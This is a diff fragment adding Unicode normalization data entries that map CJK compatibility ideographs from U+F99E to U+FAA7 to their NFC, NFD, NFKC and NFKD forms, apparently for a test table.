+{ source: [0xF99E], NFC: [0x54BD], NFD: [0x54BD], NFKC: [0x54BD], NFKD: [0x54BD] },
+{ source: [0xF99F], NFC: [0x70C8], NFD: [0x70C8], NFKC: [0x70C8], NFKD: [0x70C8] },
+{ source: [0xF9A0], NFC: [0x88C2], NFD: [0x88C2], NFKC: [0x88C2], NFKD: [0x88C2] },
+{ source: [0xF9A1], NFC: [0x8AAA], NFD: [0x8AAA], NFKC: [0x8AAA], NFKD: [0x8AAA] },
+{ source: [0xF9A2], NFC: [0x5EC9], NFD: [0x5EC9], NFKC: [0x5EC9], NFKD: [0x5EC9] },
+{ source: [0xF9A3], NFC: [0x5FF5], NFD: [0x5FF5], NFKC: [0x5FF5], NFKD: [0x5FF5] },
+{ source: [0xF9A4], NFC: [0x637B], NFD: [0x637B], NFKC: [0x637B], NFKD: [0x637B] },
+{ source: [0xF9A5], NFC: [0x6BAE], NFD: [0x6BAE], NFKC: [0x6BAE], NFKD: [0x6BAE] },
+{ source: [0xF9A6], NFC: [0x7C3E], NFD: [0x7C3E], NFKC: [0x7C3E], NFKD: [0x7C3E] },
+{ source: [0xF9A7], NFC: [0x7375], NFD: [0x7375], NFKC: [0x7375], NFKD: [0x7375] },
+{ source: [0xF9A8], NFC: [0x4EE4], NFD: [0x4EE4], NFKC: [0x4EE4], NFKD: [0x4EE4] },
+{ source: [0xF9A9], NFC: [0x56F9], NFD: [0x56F9], NFKC: [0x56F9], NFKD: [0x56F9] },
+{ source: [0xF9AA], NFC: [0x5BE7], NFD: [0x5BE7], NFKC: [0x5BE7], NFKD: [0x5BE7] },
+{ source: [0xF9AB], NFC: [0x5DBA], NFD: [0x5DBA], NFKC: [0x5DBA], NFKD: [0x5DBA] },
+{ source: [0xF9AC], NFC: [0x601C], NFD: [0x601C], NFKC: [0x601C], NFKD: [0x601C] },
+{ source: [0xF9AD], NFC: [0x73B2], NFD: [0x73B2], NFKC: [0x73B2], NFKD: [0x73B2] },
+{ source: [0xF9AE], NFC: [0x7469], NFD: [0x7469], NFKC: [0x7469], NFKD: [0x7469] },
+{ source: [0xF9AF], NFC: [0x7F9A], NFD: [0x7F9A], NFKC: [0x7F9A], NFKD: [0x7F9A] },
+{ source: [0xF9B0], NFC: [0x8046], NFD: [0x8046], NFKC: [0x8046], NFKD: [0x8046] },
+{ source: [0xF9B1], NFC: [0x9234], NFD: [0x9234], NFKC: [0x9234], NFKD: [0x9234] },
+{ source: [0xF9B2], NFC: [0x96F6], NFD: [0x96F6], NFKC: [0x96F6], NFKD: [0x96F6] },
+{ source: [0xF9B3], NFC: [0x9748], NFD: [0x9748], NFKC: [0x9748], NFKD: [0x9748] },
+{ source: [0xF9B4], NFC: [0x9818], NFD: [0x9818], NFKC: [0x9818], NFKD: [0x9818] },
+{ source: [0xF9B5], NFC: [0x4F8B], NFD: [0x4F8B], NFKC: [0x4F8B], NFKD: [0x4F8B] },
+{ source: [0xF9B6], NFC: [0x79AE], NFD: [0x79AE], NFKC: [0x79AE], NFKD: [0x79AE] },
+{ source: [0xF9B7], NFC: [0x91B4], NFD: [0x91B4], NFKC: [0x91B4], NFKD: [0x91B4] },
+{ source: [0xF9B8], NFC: [0x96B8], NFD: [0x96B8], NFKC: [0x96B8], NFKD: [0x96B8] },
+{ source: [0xF9B9], NFC: [0x60E1], NFD: [0x60E1], NFKC: [0x60E1], NFKD: [0x60E1] },
+{ source: [0xF9BA], NFC: [0x4E86], NFD: [0x4E86], NFKC: [0x4E86], NFKD: [0x4E86] },
+{ source: [0xF9BB], NFC: [0x50DA], NFD: [0x50DA], NFKC: [0x50DA], NFKD: [0x50DA] },
+{ source: [0xF9BC], NFC: [0x5BEE], NFD: [0x5BEE], NFKC: [0x5BEE], NFKD: [0x5BEE] },
+{ source: [0xF9BD], NFC: [0x5C3F], NFD: [0x5C3F], NFKC: [0x5C3F], NFKD: [0x5C3F] },
+{ source: [0xF9BE], NFC: [0x6599], NFD: [0x6599], NFKC: [0x6599], NFKD: [0x6599] },
+{ source: [0xF9BF], NFC: [0x6A02], NFD: [0x6A02], NFKC: [0x6A02], NFKD: [0x6A02] },
+{ source: [0xF9C0], NFC: [0x71CE], NFD: [0x71CE], NFKC: [0x71CE], NFKD: [0x71CE] },
+{ source: [0xF9C1], NFC: [0x7642], NFD: [0x7642], NFKC: [0x7642], NFKD: [0x7642] },
+{ source: [0xF9C2], NFC: [0x84FC], NFD: [0x84FC], NFKC: [0x84FC], NFKD: [0x84FC] },
+{ source: [0xF9C3], NFC: [0x907C], NFD: [0x907C], NFKC: [0x907C], NFKD: [0x907C] },
+{ source: [0xF9C4], NFC: [0x9F8D], NFD: [0x9F8D], NFKC: [0x9F8D], NFKD: [0x9F8D] },
+{ source: [0xF9C5], NFC: [0x6688], NFD: [0x6688], NFKC: [0x6688], NFKD: [0x6688] },
+{ source: [0xF9C6], NFC: [0x962E], NFD: [0x962E], NFKC: [0x962E], NFKD: [0x962E] },
+{ source: [0xF9C7], NFC: [0x5289], NFD: [0x5289], NFKC: [0x5289], NFKD: [0x5289] },
+{ source: [0xF9C8], NFC: [0x677B], NFD: [0x677B], NFKC: [0x677B], NFKD: [0x677B] },
+{ source: [0xF9C9], NFC: [0x67F3], NFD: [0x67F3], NFKC: [0x67F3], NFKD: [0x67F3] },
+{ source: [0xF9CA], NFC: [0x6D41], NFD: [0x6D41], NFKC: [0x6D41], NFKD: [0x6D41] },
+{ source: [0xF9CB], NFC: [0x6E9C], NFD: [0x6E9C], NFKC: [0x6E9C], NFKD: [0x6E9C] },
+{ source: [0xF9CC], NFC: [0x7409], NFD: [0x7409], NFKC: [0x7409], NFKD: [0x7409] },
+{ source: [0xF9CD], NFC: [0x7559], NFD: [0x7559], NFKC: [0x7559], NFKD: [0x7559] },
+{ source: [0xF9CE], NFC: [0x786B], NFD: [0x786B], NFKC: [0x786B], NFKD: [0x786B] },
+{ source: [0xF9CF], NFC: [0x7D10], NFD: [0x7D10], NFKC: [0x7D10], NFKD: [0x7D10] },
+{ source: [0xF9D0], NFC: [0x985E], NFD: [0x985E], NFKC: [0x985E], NFKD: [0x985E] },
+{ source: [0xF9D1], NFC: [0x516D], NFD: [0x516D], NFKC: [0x516D], NFKD: [0x516D] },
+{ source: [0xF9D2], NFC: [0x622E], NFD: [0x622E], NFKC: [0x622E], NFKD: [0x622E] },
+{ source: [0xF9D3], NFC: [0x9678], NFD: [0x9678], NFKC: [0x9678], NFKD: [0x9678] },
+{ source: [0xF9D4], NFC: [0x502B], NFD: [0x502B], NFKC: [0x502B], NFKD: [0x502B] },
+{ source: [0xF9D5], NFC: [0x5D19], NFD: [0x5D19], NFKC: [0x5D19], NFKD: [0x5D19] },
+{ source: [0xF9D6], NFC: [0x6DEA], NFD: [0x6DEA], NFKC: [0x6DEA], NFKD: [0x6DEA] },
+{ source: [0xF9D7], NFC: [0x8F2A], NFD: [0x8F2A], NFKC: [0x8F2A], NFKD: [0x8F2A] },
+{ source: [0xF9D8], NFC: [0x5F8B], NFD: [0x5F8B], NFKC: [0x5F8B], NFKD: [0x5F8B] },
+{ source: [0xF9D9], NFC: [0x6144], NFD: [0x6144], NFKC: [0x6144], NFKD: [0x6144] },
+{ source: [0xF9DA], NFC: [0x6817], NFD: [0x6817], NFKC: [0x6817], NFKD: [0x6817] },
+{ source: [0xF9DB], NFC: [0x7387], NFD: [0x7387], NFKC: [0x7387], NFKD: [0x7387] },
+{ source: [0xF9DC], NFC: [0x9686], NFD: [0x9686], NFKC: [0x9686], NFKD: [0x9686] },
+{ source: [0xF9DD], NFC: [0x5229], NFD: [0x5229], NFKC: [0x5229], NFKD: [0x5229] },
+{ source: [0xF9DE], NFC: [0x540F], NFD: [0x540F], NFKC: [0x540F], NFKD: [0x540F] },
+{ source: [0xF9DF], NFC: [0x5C65], NFD: [0x5C65], NFKC: [0x5C65], NFKD: [0x5C65] },
+{ source: [0xF9E0], NFC: [0x6613], NFD: [0x6613], NFKC: [0x6613], NFKD: [0x6613] },
+{ source: [0xF9E1], NFC: [0x674E], NFD: [0x674E], NFKC: [0x674E], NFKD: [0x674E] },
+{ source: [0xF9E2], NFC: [0x68A8], NFD: [0x68A8], NFKC: [0x68A8], NFKD: [0x68A8] },
+{ source: [0xF9E3], NFC: [0x6CE5], NFD: [0x6CE5], NFKC: [0x6CE5], NFKD: [0x6CE5] },
+{ source: [0xF9E4], NFC: [0x7406], NFD: [0x7406], NFKC: [0x7406], NFKD: [0x7406] },
+{ source: [0xF9E5], NFC: [0x75E2], NFD: [0x75E2], NFKC: [0x75E2], NFKD: [0x75E2] },
+{ source: [0xF9E6], NFC: [0x7F79], NFD: [0x7F79], NFKC: [0x7F79], NFKD: [0x7F79] },
+{ source: [0xF9E7], NFC: [0x88CF], NFD: [0x88CF], NFKC: [0x88CF], NFKD: [0x88CF] },
+{ source: [0xF9E8], NFC: [0x88E1], NFD: [0x88E1], NFKC: [0x88E1], NFKD: [0x88E1] },
+{ source: [0xF9E9], NFC: [0x91CC], NFD: [0x91CC], NFKC: [0x91CC], NFKD: [0x91CC] },
+{ source: [0xF9EA], NFC: [0x96E2], NFD: [0x96E2], NFKC: [0x96E2], NFKD: [0x96E2] },
+{ source: [0xF9EB], NFC: [0x533F], NFD: [0x533F], NFKC: [0x533F], NFKD: [0x533F] },
+{ source: [0xF9EC], NFC: [0x6EBA], NFD: [0x6EBA], NFKC: [0x6EBA], NFKD: [0x6EBA] },
+{ source: [0xF9ED], NFC: [0x541D], NFD: [0x541D], NFKC: [0x541D], NFKD: [0x541D] },
+{ source: [0xF9EE], NFC: [0x71D0], NFD: [0x71D0], NFKC: [0x71D0], NFKD: [0x71D0] },
+{ source: [0xF9EF], NFC: [0x7498], NFD: [0x7498], NFKC: [0x7498], NFKD: [0x7498] },
+{ source: [0xF9F0], NFC: [0x85FA], NFD: [0x85FA], NFKC: [0x85FA], NFKD: [0x85FA] },
+{ source: [0xF9F1], NFC: [0x96A3], NFD: [0x96A3], NFKC: [0x96A3], NFKD: [0x96A3] },
+{ source: [0xF9F2], NFC: [0x9C57], NFD: [0x9C57], NFKC: [0x9C57], NFKD: [0x9C57] },
+{ source: [0xF9F3], NFC: [0x9E9F], NFD: [0x9E9F], NFKC: [0x9E9F], NFKD: [0x9E9F] },
+{ source: [0xF9F4], NFC: [0x6797], NFD: [0x6797], NFKC: [0x6797], NFKD: [0x6797] },
+{ source: [0xF9F5], NFC: [0x6DCB], NFD: [0x6DCB], NFKC: [0x6DCB], NFKD: [0x6DCB] },
+{ source: [0xF9F6], NFC: [0x81E8], NFD: [0x81E8], NFKC: [0x81E8], NFKD: [0x81E8] },
+{ source: [0xF9F7], NFC: [0x7ACB], NFD: [0x7ACB], NFKC: [0x7ACB], NFKD: [0x7ACB] },
+{ source: [0xF9F8], NFC: [0x7B20], NFD: [0x7B20], NFKC: [0x7B20], NFKD: [0x7B20] },
+{ source: [0xF9F9], NFC: [0x7C92], NFD: [0x7C92], NFKC: [0x7C92], NFKD: [0x7C92] },
+{ source: [0xF9FA], NFC: [0x72C0], NFD: [0x72C0], NFKC: [0x72C0], NFKD: [0x72C0] },
+{ source: [0xF9FB], NFC: [0x7099], NFD: [0x7099], NFKC: [0x7099], NFKD: [0x7099] },
+{ source: [0xF9FC], NFC: [0x8B58], NFD: [0x8B58], NFKC: [0x8B58], NFKD: [0x8B58] },
+{ source: [0xF9FD], NFC: [0x4EC0], NFD: [0x4EC0], NFKC: [0x4EC0], NFKD: [0x4EC0] },
+{ source: [0xF9FE], NFC: [0x8336], NFD: [0x8336], NFKC: [0x8336], NFKD: [0x8336] },
+{ source: [0xF9FF], NFC: [0x523A], NFD: [0x523A], NFKC: [0x523A], NFKD: [0x523A] },
+{ source: [0xFA00], NFC: [0x5207], NFD: [0x5207], NFKC: [0x5207], NFKD: [0x5207] },
+{ source: [0xFA01], NFC: [0x5EA6], NFD: [0x5EA6], NFKC: [0x5EA6], NFKD: [0x5EA6] },
+{ source: [0xFA02], NFC: [0x62D3], NFD: [0x62D3], NFKC: [0x62D3], NFKD: [0x62D3] },
+{ source: [0xFA03], NFC: [0x7CD6], NFD: [0x7CD6], NFKC: [0x7CD6], NFKD: [0x7CD6] },
+{ source: [0xFA04], NFC: [0x5B85], NFD: [0x5B85], NFKC: [0x5B85], NFKD: [0x5B85] },
+{ source: [0xFA05], NFC: [0x6D1E], NFD: [0x6D1E], NFKC: [0x6D1E], NFKD: [0x6D1E] },
+{ source: [0xFA06], NFC: [0x66B4], NFD: [0x66B4], NFKC: [0x66B4], NFKD: [0x66B4] },
+{ source: [0xFA07], NFC: [0x8F3B], NFD: [0x8F3B], NFKC: [0x8F3B], NFKD: [0x8F3B] },
+{ source: [0xFA08], NFC: [0x884C], NFD: [0x884C], NFKC: [0x884C], NFKD: [0x884C] },
+{ source: [0xFA09], NFC: [0x964D], NFD: [0x964D], NFKC: [0x964D], NFKD: [0x964D] },
+{ source: [0xFA0A], NFC: [0x898B], NFD: [0x898B], NFKC: [0x898B], NFKD: [0x898B] },
+{ source: [0xFA0B], NFC: [0x5ED3], NFD: [0x5ED3], NFKC: [0x5ED3], NFKD: [0x5ED3] },
+{ source: [0xFA0C], NFC: [0x5140], NFD: [0x5140], NFKC: [0x5140], NFKD: [0x5140] },
+{ source: [0xFA0D], NFC: [0x55C0], NFD: [0x55C0], NFKC: [0x55C0], NFKD: [0x55C0] },
+{ source: [0xFA10], NFC: [0x585A], NFD: [0x585A], NFKC: [0x585A], NFKD: [0x585A] },
+{ source: [0xFA12], NFC: [0x6674], NFD: [0x6674], NFKC: [0x6674], NFKD: [0x6674] },
+{ source: [0xFA15], NFC: [0x51DE], NFD: [0x51DE], NFKC: [0x51DE], NFKD: [0x51DE] },
+{ source: [0xFA16], NFC: [0x732A], NFD: [0x732A], NFKC: [0x732A], NFKD: [0x732A] },
+{ source: [0xFA17], NFC: [0x76CA], NFD: [0x76CA], NFKC: [0x76CA], NFKD: [0x76CA] },
+{ source: [0xFA18], NFC: [0x793C], NFD: [0x793C], NFKC: [0x793C], NFKD: [0x793C] },
+{ source: [0xFA19], NFC: [0x795E], NFD: [0x795E], NFKC: [0x795E], NFKD: [0x795E] },
+{ source: [0xFA1A], NFC: [0x7965], NFD: [0x7965], NFKC: [0x7965], NFKD: [0x7965] },
+{ source: [0xFA1B], NFC: [0x798F], NFD: [0x798F], NFKC: [0x798F], NFKD: [0x798F] },
+{ source: [0xFA1C], NFC: [0x9756], NFD: [0x9756], NFKC: [0x9756], NFKD: [0x9756] },
+{ source: [0xFA1D], NFC: [0x7CBE], NFD: [0x7CBE], NFKC: [0x7CBE], NFKD: [0x7CBE] },
+{ source: [0xFA1E], NFC: [0x7FBD], NFD: [0x7FBD], NFKC: [0x7FBD], NFKD: [0x7FBD] },
+{ source: [0xFA20], NFC: [0x8612], NFD: [0x8612], NFKC: [0x8612], NFKD: [0x8612] },
+{ source: [0xFA22], NFC: [0x8AF8], NFD: [0x8AF8], NFKC: [0x8AF8], NFKD: [0x8AF8] },
+{ source: [0xFA25], NFC: [0x9038], NFD: [0x9038], NFKC: [0x9038], NFKD: [0x9038] },
+{ source: [0xFA26], NFC: [0x90FD], NFD: [0x90FD], NFKC: [0x90FD], NFKD: [0x90FD] },
+{ source: [0xFA2A], NFC: [0x98EF], NFD: [0x98EF], NFKC: [0x98EF], NFKD: [0x98EF] },
+{ source: [0xFA2B], NFC: [0x98FC], NFD: [0x98FC], NFKC: [0x98FC], NFKD: [0x98FC] },
+{ source: [0xFA2C], NFC: [0x9928], NFD: [0x9928], NFKC: [0x9928], NFKD: [0x9928] },
+{ source: [0xFA2D], NFC: [0x9DB4], NFD: [0x9DB4], NFKC: [0x9DB4], NFKD: [0x9DB4] },
+{ source: [0xFA2E], NFC: [0x90DE], NFD: [0x90DE], NFKC: [0x90DE], NFKD: [0x90DE] },
+{ source: [0xFA2F], NFC: [0x96B7], NFD: [0x96B7], NFKC: [0x96B7], NFKD: [0x96B7] },
+{ source: [0xFA30], NFC: [0x4FAE], NFD: [0x4FAE], NFKC: [0x4FAE], NFKD: [0x4FAE] },
+{ source: [0xFA31], NFC: [0x50E7], NFD: [0x50E7], NFKC: [0x50E7], NFKD: [0x50E7] },
+{ source: [0xFA32], NFC: [0x514D], NFD: [0x514D], NFKC: [0x514D], NFKD: [0x514D] },
+{ source: [0xFA33], NFC: [0x52C9], NFD: [0x52C9], NFKC: [0x52C9], NFKD: [0x52C9] },
+{ source: [0xFA34], NFC: [0x52E4], NFD: [0x52E4], NFKC: [0x52E4], NFKD: [0x52E4] },
+{ source: [0xFA35], NFC: [0x5351], NFD: [0x5351], NFKC: [0x5351], NFKD: [0x5351] },
+{ source: [0xFA36], NFC: [0x559D], NFD: [0x559D], NFKC: [0x559D], NFKD: [0x559D] },
+{ source: [0xFA37], NFC: [0x5606], NFD: [0x5606], NFKC: [0x5606], NFKD: [0x5606] },
+{ source: [0xFA38], NFC: [0x5668], NFD: [0x5668], NFKC: [0x5668], NFKD: [0x5668] },
+{ source: [0xFA39], NFC: [0x5840], NFD: [0x5840], NFKC: [0x5840], NFKD: [0x5840] },
+{ source: [0xFA3A], NFC: [0x58A8], NFD: [0x58A8], NFKC: [0x58A8], NFKD: [0x58A8] },
+{ source: [0xFA3B], NFC: [0x5C64], NFD: [0x5C64], NFKC: [0x5C64], NFKD: [0x5C64] },
+{ source: [0xFA3C], NFC: [0x5C6E], NFD: [0x5C6E], NFKC: [0x5C6E], NFKD: [0x5C6E] },
+{ source: [0xFA3D], NFC: [0x6094], NFD: [0x6094], NFKC: [0x6094], NFKD: [0x6094] },
+{ source: [0xFA3E], NFC: [0x6168], NFD: [0x6168], NFKC: [0x6168], NFKD: [0x6168] },
+{ source: [0xFA3F], NFC: [0x618E], NFD: [0x618E], NFKC: [0x618E], NFKD: [0x618E] },
+{ source: [0xFA40], NFC: [0x61F2], NFD: [0x61F2], NFKC: [0x61F2], NFKD: [0x61F2] },
+{ source: [0xFA41], NFC: [0x654F], NFD: [0x654F], NFKC: [0x654F], NFKD: [0x654F] },
+{ source: [0xFA42], NFC: [0x65E2], NFD: [0x65E2], NFKC: [0x65E2], NFKD: [0x65E2] },
+{ source: [0xFA43], NFC: [0x6691], NFD: [0x6691], NFKC: [0x6691], NFKD: [0x6691] },
+{ source: [0xFA44], NFC: [0x6885], NFD: [0x6885], NFKC: [0x6885], NFKD: [0x6885] },
+{ source: [0xFA45], NFC: [0x6D77], NFD: [0x6D77], NFKC: [0x6D77], NFKD: [0x6D77] },
+{ source: [0xFA46], NFC: [0x6E1A], NFD: [0x6E1A], NFKC: [0x6E1A], NFKD: [0x6E1A] },
+{ source: [0xFA47], NFC: [0x6F22], NFD: [0x6F22], NFKC: [0x6F22], NFKD: [0x6F22] },
+{ source: [0xFA48], NFC: [0x716E], NFD: [0x716E], NFKC: [0x716E], NFKD: [0x716E] },
+{ source: [0xFA49], NFC: [0x722B], NFD: [0x722B], NFKC: [0x722B], NFKD: [0x722B] },
+{ source: [0xFA4A], NFC: [0x7422], NFD: [0x7422], NFKC: [0x7422], NFKD: [0x7422] },
+{ source: [0xFA4B], NFC: [0x7891], NFD: [0x7891], NFKC: [0x7891], NFKD: [0x7891] },
+{ source: [0xFA4C], NFC: [0x793E], NFD: [0x793E], NFKC: [0x793E], NFKD: [0x793E] },
+{ source: [0xFA4D], NFC: [0x7949], NFD: [0x7949], NFKC: [0x7949], NFKD: [0x7949] },
+{ source: [0xFA4E], NFC: [0x7948], NFD: [0x7948], NFKC: [0x7948], NFKD: [0x7948] },
+{ source: [0xFA4F], NFC: [0x7950], NFD: [0x7950], NFKC: [0x7950], NFKD: [0x7950] },
+{ source: [0xFA50], NFC: [0x7956], NFD: [0x7956], NFKC: [0x7956], NFKD: [0x7956] },
+{ source: [0xFA51], NFC: [0x795D], NFD: [0x795D], NFKC: [0x795D], NFKD: [0x795D] },
+{ source: [0xFA52], NFC: [0x798D], NFD: [0x798D], NFKC: [0x798D], NFKD: [0x798D] },
+{ source: [0xFA53], NFC: [0x798E], NFD: [0x798E], NFKC: [0x798E], NFKD: [0x798E] },
+{ source: [0xFA54], NFC: [0x7A40], NFD: [0x7A40], NFKC: [0x7A40], NFKD: [0x7A40] },
+{ source: [0xFA55], NFC: [0x7A81], NFD: [0x7A81], NFKC: [0x7A81], NFKD: [0x7A81] },
+{ source: [0xFA56], NFC: [0x7BC0], NFD: [0x7BC0], NFKC: [0x7BC0], NFKD: [0x7BC0] },
+{ source: [0xFA57], NFC: [0x7DF4], NFD: [0x7DF4], NFKC: [0x7DF4], NFKD: [0x7DF4] },
+{ source: [0xFA58], NFC: [0x7E09], NFD: [0x7E09], NFKC: [0x7E09], NFKD: [0x7E09] },
+{ source: [0xFA59], NFC: [0x7E41], NFD: [0x7E41], NFKC: [0x7E41], NFKD: [0x7E41] },
+{ source: [0xFA5A], NFC: [0x7F72], NFD: [0x7F72], NFKC: [0x7F72], NFKD: [0x7F72] },
+{ source: [0xFA5B], NFC: [0x8005], NFD: [0x8005], NFKC: [0x8005], NFKD: [0x8005] },
+{ source: [0xFA5C], NFC: [0x81ED], NFD: [0x81ED], NFKC: [0x81ED], NFKD: [0x81ED] },
+{ source: [0xFA5D], NFC: [0x8279], NFD: [0x8279], NFKC: [0x8279], NFKD: [0x8279] },
+{ source: [0xFA5E], NFC: [0x8279], NFD: [0x8279], NFKC: [0x8279], NFKD: [0x8279] },
+{ source: [0xFA5F], NFC: [0x8457], NFD: [0x8457], NFKC: [0x8457], NFKD: [0x8457] },
+{ source: [0xFA60], NFC: [0x8910], NFD: [0x8910], NFKC: [0x8910], NFKD: [0x8910] },
+{ source: [0xFA61], NFC: [0x8996], NFD: [0x8996], NFKC: [0x8996], NFKD: [0x8996] },
+{ source: [0xFA62], NFC: [0x8B01], NFD: [0x8B01], NFKC: [0x8B01], NFKD: [0x8B01] },
+{ source: [0xFA63], NFC: [0x8B39], NFD: [0x8B39], NFKC: [0x8B39], NFKD: [0x8B39] },
+{ source: [0xFA64], NFC: [0x8CD3], NFD: [0x8CD3], NFKC: [0x8CD3], NFKD: [0x8CD3] },
+{ source: [0xFA65], NFC: [0x8D08], NFD: [0x8D08], NFKC: [0x8D08], NFKD: [0x8D08] },
+{ source: [0xFA66], NFC: [0x8FB6], NFD: [0x8FB6], NFKC: [0x8FB6], NFKD: [0x8FB6] },
+{ source: [0xFA67], NFC: [0x9038], NFD: [0x9038], NFKC: [0x9038], NFKD: [0x9038] },
+{ source: [0xFA68], NFC: [0x96E3], NFD: [0x96E3], NFKC: [0x96E3], NFKD: [0x96E3] },
+{ source: [0xFA69], NFC: [0x97FF], NFD: [0x97FF], NFKC: [0x97FF], NFKD: [0x97FF] },
+{ source: [0xFA6A], NFC: [0x983B], NFD: [0x983B], NFKC: [0x983B], NFKD: [0x983B] },
+{ source: [0xFA6B], NFC: [0x6075], NFD: [0x6075], NFKC: [0x6075], NFKD: [0x6075] },
+{ source: [0xFA6C], NFC: [0x242EE], NFD: [0x242EE], NFKC: [0x242EE], NFKD: [0x242EE] },
+{ source: [0xFA6D], NFC: [0x8218], NFD: [0x8218], NFKC: [0x8218], NFKD: [0x8218] },
+{ source: [0xFA70], NFC: [0x4E26], NFD: [0x4E26], NFKC: [0x4E26], NFKD: [0x4E26] },
+{ source: [0xFA71], NFC: [0x51B5], NFD: [0x51B5], NFKC: [0x51B5], NFKD: [0x51B5] },
+{ source: [0xFA72], NFC: [0x5168], NFD: [0x5168], NFKC: [0x5168], NFKD: [0x5168] },
+{ source: [0xFA73], NFC: [0x4F80], NFD: [0x4F80], NFKC: [0x4F80], NFKD: [0x4F80] },
+{ source: [0xFA74], NFC: [0x5145], NFD: [0x5145], NFKC: [0x5145], NFKD: [0x5145] },
+{ source: [0xFA75], NFC: [0x5180], NFD: [0x5180], NFKC: [0x5180], NFKD: [0x5180] },
+{ source: [0xFA76], NFC: [0x52C7], NFD: [0x52C7], NFKC: [0x52C7], NFKD: [0x52C7] },
+{ source: [0xFA77], NFC: [0x52FA], NFD: [0x52FA], NFKC: [0x52FA], NFKD: [0x52FA] },
+{ source: [0xFA78], NFC: [0x559D], NFD: [0x559D], NFKC: [0x559D], NFKD: [0x559D] },
+{ source: [0xFA79], NFC: [0x5555], NFD: [0x5555], NFKC: [0x5555], NFKD: [0x5555] },
+{ source: [0xFA7A], NFC: [0x5599], NFD: [0x5599], NFKC: [0x5599], NFKD: [0x5599] },
+{ source: [0xFA7B], NFC: [0x55E2], NFD: [0x55E2], NFKC: [0x55E2], NFKD: [0x55E2] },
+{ source: [0xFA7C], NFC: [0x585A], NFD: [0x585A], NFKC: [0x585A], NFKD: [0x585A] },
+{ source: [0xFA7D], NFC: [0x58B3], NFD: [0x58B3], NFKC: [0x58B3], NFKD: [0x58B3] },
+{ source: [0xFA7E], NFC: [0x5944], NFD: [0x5944], NFKC: [0x5944], NFKD: [0x5944] },
+{ source: [0xFA7F], NFC: [0x5954], NFD: [0x5954], NFKC: [0x5954], NFKD: [0x5954] },
+{ source: [0xFA80], NFC: [0x5A62], NFD: [0x5A62], NFKC: [0x5A62], NFKD: [0x5A62] },
+{ source: [0xFA81], NFC: [0x5B28], NFD: [0x5B28], NFKC: [0x5B28], NFKD: [0x5B28] },
+{ source: [0xFA82], NFC: [0x5ED2], NFD: [0x5ED2], NFKC: [0x5ED2], NFKD: [0x5ED2] },
+{ source: [0xFA83], NFC: [0x5ED9], NFD: [0x5ED9], NFKC: [0x5ED9], NFKD: [0x5ED9] },
+{ source: [0xFA84], NFC: [0x5F69], NFD: [0x5F69], NFKC: [0x5F69], NFKD: [0x5F69] },
+{ source: [0xFA85], NFC: [0x5FAD], NFD: [0x5FAD], NFKC: [0x5FAD], NFKD: [0x5FAD] },
+{ source: [0xFA86], NFC: [0x60D8], NFD: [0x60D8], NFKC: [0x60D8], NFKD: [0x60D8] },
+{ source: [0xFA87], NFC: [0x614E], NFD: [0x614E], NFKC: [0x614E], NFKD: [0x614E] },
+{ source: [0xFA88], NFC: [0x6108], NFD: [0x6108], NFKC: [0x6108], NFKD: [0x6108] },
+{ source: [0xFA89], NFC: [0x618E], NFD: [0x618E], NFKC: [0x618E], NFKD: [0x618E] },
+{ source: [0xFA8A], NFC: [0x6160], NFD: [0x6160], NFKC: [0x6160], NFKD: [0x6160] },
+{ source: [0xFA8B], NFC: [0x61F2], NFD: [0x61F2], NFKC: [0x61F2], NFKD: [0x61F2] },
+{ source: [0xFA8C], NFC: [0x6234], NFD: [0x6234], NFKC: [0x6234], NFKD: [0x6234] },
+{ source: [0xFA8D], NFC: [0x63C4], NFD: [0x63C4], NFKC: [0x63C4], NFKD: [0x63C4] },
+{ source: [0xFA8E], NFC: [0x641C], NFD: [0x641C], NFKC: [0x641C], NFKD: [0x641C] },
+{ source: [0xFA8F], NFC: [0x6452], NFD: [0x6452], NFKC: [0x6452], NFKD: [0x6452] },
+{ source: [0xFA90], NFC: [0x6556], NFD: [0x6556], NFKC: [0x6556], NFKD: [0x6556] },
+{ source: [0xFA91], NFC: [0x6674], NFD: [0x6674], NFKC: [0x6674], NFKD: [0x6674] },
+{ source: [0xFA92], NFC: [0x6717], NFD: [0x6717], NFKC: [0x6717], NFKD: [0x6717] },
+{ source: [0xFA93], NFC: [0x671B], NFD: [0x671B], NFKC: [0x671B], NFKD: [0x671B] },
+{ source: [0xFA94], NFC: [0x6756], NFD: [0x6756], NFKC: [0x6756], NFKD: [0x6756] },
+{ source: [0xFA95], NFC: [0x6B79], NFD: [0x6B79], NFKC: [0x6B79], NFKD: [0x6B79] },
+{ source: [0xFA96], NFC: [0x6BBA], NFD: [0x6BBA], NFKC: [0x6BBA], NFKD: [0x6BBA] },
+{ source: [0xFA97], NFC: [0x6D41], NFD: [0x6D41], NFKC: [0x6D41], NFKD: [0x6D41] },
+{ source: [0xFA98], NFC: [0x6EDB], NFD: [0x6EDB], NFKC: [0x6EDB], NFKD: [0x6EDB] },
+{ source: [0xFA99], NFC: [0x6ECB], NFD: [0x6ECB], NFKC: [0x6ECB], NFKD: [0x6ECB] },
+{ source: [0xFA9A], NFC: [0x6F22], NFD: [0x6F22], NFKC: [0x6F22], NFKD: [0x6F22] },
+{ source: [0xFA9B], NFC: [0x701E], NFD: [0x701E], NFKC: [0x701E], NFKD: [0x701E] },
+{ source: [0xFA9C], NFC: [0x716E], NFD: [0x716E], NFKC: [0x716E], NFKD: [0x716E] },
+{ source: [0xFA9D], NFC: [0x77A7], NFD: [0x77A7], NFKC: [0x77A7], NFKD: [0x77A7] },
+{ source: [0xFA9E], NFC: [0x7235], NFD: [0x7235], NFKC: [0x7235], NFKD: [0x7235] },
+{ source: [0xFA9F], NFC: [0x72AF], NFD: [0x72AF], NFKC: [0x72AF], NFKD: [0x72AF] },
+{ source: [0xFAA0], NFC: [0x732A], NFD: [0x732A], NFKC: [0x732A], NFKD: [0x732A] },
+{ source: [0xFAA1], NFC: [0x7471], NFD: [0x7471], NFKC: [0x7471], NFKD: [0x7471] },
+{ source: [0xFAA2], NFC: [0x7506], NFD: [0x7506], NFKC: [0x7506], NFKD: [0x7506] },
+{ source: [0xFAA3], NFC: [0x753B], NFD: [0x753B], NFKC: [0x753B], NFKD: [0x753B] },
+{ source: [0xFAA4], NFC: [0x761D], NFD: [0x761D], NFKC: [0x761D], NFKD: [0x761D] },
+{ source: [0xFAA5], NFC: [0x761F], NFD: [0x761F], NFKC: [0x761F], NFKD: [0x761F] },
+{ source: [0xFAA6], NFC: [0x76CA], NFD: [0x76CA], NFKC: [0x76CA], NFKD: [0x76CA] },
+{ source: [0xFAA7], NFC: [0x76DB], NFD: [0x76DB], NFKC: [0x76DB], NFKD: [0x76DB] },
